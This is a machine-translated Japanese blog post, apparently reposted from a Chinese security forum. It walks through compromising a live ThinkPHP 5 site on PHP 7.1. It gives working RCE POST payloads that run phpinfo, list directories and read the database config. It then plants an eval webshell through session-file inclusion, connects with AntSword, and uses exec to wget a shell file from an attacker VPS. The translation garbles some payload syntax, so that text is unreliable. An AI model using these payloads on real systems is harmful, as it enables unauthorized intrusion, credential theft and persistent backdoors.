Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86378441

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00はじめに

以前にTP5と接触していたサイトが少なかったので、RCEの脆弱性のゲッシェルを使用する方法しか知っていませんでした。 PHPバージョンの制限により、カード発行プラットフォームの最近の普及では、RCEのペイロードを使用してシェルを直接取得することは不可能です。そのため、Webサイトと組み合わせて、TP5+PHP7.1環境でできるだけ多くのGetShellメソッドをテストします。

0x02テキスト

サイトを入手したら、次のようにホームページにアクセスしてください1049983-20220112164153129-412690556.png

テスト中、それがThinkPHPサイトであることがわかりました、そして、エラーは次のように1049983-20220112164153599-89312026.pngのように報告されました

しかし、特定のバージョンが表示されないので、RCEがあるかどうかはわかりませんので、EXPで試してみます

_method=__ constructmethod=getFilter=call_user_funcget []=phpinfo

1049983-20220112164154048-133690590.png

実行が成功し、disable_function 1049983-20220112164154456-2007761822.pngによって多くの機能が無効になっていることがわかりました

一般に、PHPバージョンが7.1未満の場合は、EXPを使用してシェルを書き込むだけです。この方法は、次のExpを直接使用してシェルを書き込むことです。

s=file_put_contents( 'test.php'、 '?php phpinfo();')_ method=__ constructmethod=postfilter []=assert

ただし、ASSTはこのEXPで使用されており、上記はPHPバージョンが7.1.33であることを示しています。このバージョンはアサートを使用できなくなるため、この方法はここでは使用できません。

上記の方法2はシェルを書き込むことはできませんが、phpinfoは実行されるため、RCEが存在します。そこで、ファイルを読んでデータベースアカウントのパスワードを読み取り、phpmyAdminを見つけてから、データベースを介してシェルを書き込むことができると思いました。

最初にPHPINFOの情報を介してWebサイトルートディレクトリを見つけ、次にScandir関数を使用してディレクトリをトラバースし、データベース構成ファイルを見つけます

_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getGet []=path

1049983-20220112164154902-34241032.png

次に、highlight_file関数を介してファイルを読み取ります

_method=__ constructfilter []=highlight_filemethod=getGet []=ファイルパスを読み取ります

1049983-20220112164155347-2101104572.png

データベース情報を取得した後、私はphpmyadminが存在するかどうかを探しましたが、最終的にそうではないことがわかりました。そのため、この方法も失敗しました。

フォーラムでTP5のゲッシェル法を探して、多くのマスターは、ログやセッションを使用してメソッドを含めることができると言っていましたが、以前にそれらにさらされたことがなく、特定のものを知らなかったので、私はそれを検索して試しました。

方法3試行ログには含まれます

最初にシェルを書き、ログを入力します

_method=__ constructmethod=getFilter []=call_user_funcserver []=phpinfoget []=?php eval($ _ post ['c'])?

次に、ログ包含によって逃げます

_method=__ constructMethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=./data/runtime/log/202110/17.logc=phpinfo();

1049983-20220112164155832-1130145507.png

失敗し、ログに含まれる方法は使用できません。

方法4セッションに含まれるメソッドを使用して、ゲルシェルを試してみてください

まず、セッションセッションを設定し、テンテンテントロイの木馬に渡す

_method=__ constructfilter []=think \ session3:setmethod=getGet []=?PHP eval($ _ post ['c'])?server []=1

1049983-20220112164156221-726893950.png

次に、ファイルを直接使用してセッションファイルを含めます。 TP5のセッションファイルは通常/TMP未満で、ファイル名はSESSION_SESSIONIDです(このセッションはCookieにあります)

_method=__ constructMethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoic=phpinfo();

1049983-20220112164156637-987300493.png

正常に実行され、Ant Sword 1049983-20220112164157063-1880914308.pngを介して接続します

成功GETSHELL 1049983-20220112164157485-516730089.png

WWW許可1049983-20220112164157850-189476530.png

メソッド5にシェルを手に入れましたが、逃げることができる他の方法があるかどうかをもう一度試しました。 execがdisable_functionで無効になっていないため、記事を見ました。その後、execを使用してVPSからシェルファイルをダウンロードしました。

そこで、disable_functionの無効な機能を注意深く調べました。偶然、私は幹部も無効になっていないことがわかったので、私はそれを試してみます

最初にVPSでtest.phpを作成し、pythonでポートを開きます

python -m simplehttpserver 8888

1049983-20220112164158129-1072450037.png

VPSからファイルをダウンロードします

s=wget vps/test.php_method=__ constructmethod=getFilter []=exec

1049983-20220112164158552-2141884864.png

ターゲットマシンに正常にダウンロードされました

0x03要約

1。ターゲットWebサイトパスに間違ったパスを入力すると、WebサイトのエラーページがThinkPhpであり、バージョンは表示されません。

2. TP5.xのRCE POCを入力して、PHPINFOが成功し、Disabled_Functionが多くの関数を無効にし、PHPバージョンは7.1.xバージョンであることを示します

http://www.xxx.com/index.php?s=captcha

Post:

_method=__ constructmethod=getFilter=call_user_funcget []=phpinfo

3.次の方法では、シェルを直接取得できます(TP5.x+PHP7.1.x)

方法1 :( PHP要件はPHP7.1よりも低い)

http://www.xxx.com/index.php?s=captcha

Post:

s=file_put_contents( 'test.php'、 '?php phpinfo();')_ method=__ constructmethod=postfilter []=assert(

方法2:(TP5.x+php7.1.x)

まず、PHPINFOの情報を介してWebサイトルートディレクトリを見つけてから、Scandir関数を使用してディレクトリをトラバースし、データベース構成ファイルを見つけます

_method=__ constructmethod=getfilter=call_user_funcget []=phpinfo //ウェブサイトディレクトリは/www/wwwroot/idj/、およびディレクトリトラバーサルをWebサイト構成ルートディレクトリ(/www/wwwroot/wwwroot/conf)から取得します。

_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getget []=/www/wwwroot/

_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getget []=/www/wwwroot/idj/

_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getGet []=/www/wwwroot/idj/data/

_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getGet []=/www/wwwroot/idj/data/conf

次に、highlight_file関数を介してファイルを読み取り、データベースの接続ユーザー名とパスワードを読み取ります

_method=__ constructfilter []=highlight_filemethod=getGet []=/www/wwwroot/data/data/conf/database.php

ウェブサイトにphpmyAdminがあることがわかった場合は、データベースユーザーとパスワードを介して入力して、mysqlログを介してシェルに書き込むことができます

方法3:(TP5.x+php7.1.x、ログには含まれています)

最初にシェルを書き、ログを入力します

_method=__ constructmethod=getFilter []=call_user_funcserver []=phpinfoget []=?php eval($ _ post ['c'])?

次に、ログ包含によって逃げます

_method=__ constructMethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=./data/runtime/log/202110/17.logc=phpinfo();

方法4:(TP5.x + php7.1.x、セッションに含まれる方法を使用してください。

まず、セッションセッションを設定し、テンテンテントロイの木馬に渡す

_method=__ constructfilter []=think \ session3:setmethod=getGet []=?PHP eval($ _ post ['c'])?server []=1

次に、ファイルを直接使用してセッションファイルを含めます。 TP5のセッションファイルは通常/TMP未満で、ファイル名はSESSION_SESSIONIDです(このセッションはCookieにあります)

_method=__ constructMethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoic=phpinfo();

方法4:(TP5.X+PHP7.1.x、無効なexec関数はdisable_functionで使用されません)

最初にVPSでtest.phpを作成し、pythonでポートを開きます

python -m simplehttpserver 8888

VPSからファイルをダウンロードします

s=wget http://www.vps.com/test.php_method=__constructmethod=getfilter []=exec

オリジナルリンク:https://xz.aliyun.com/t/10397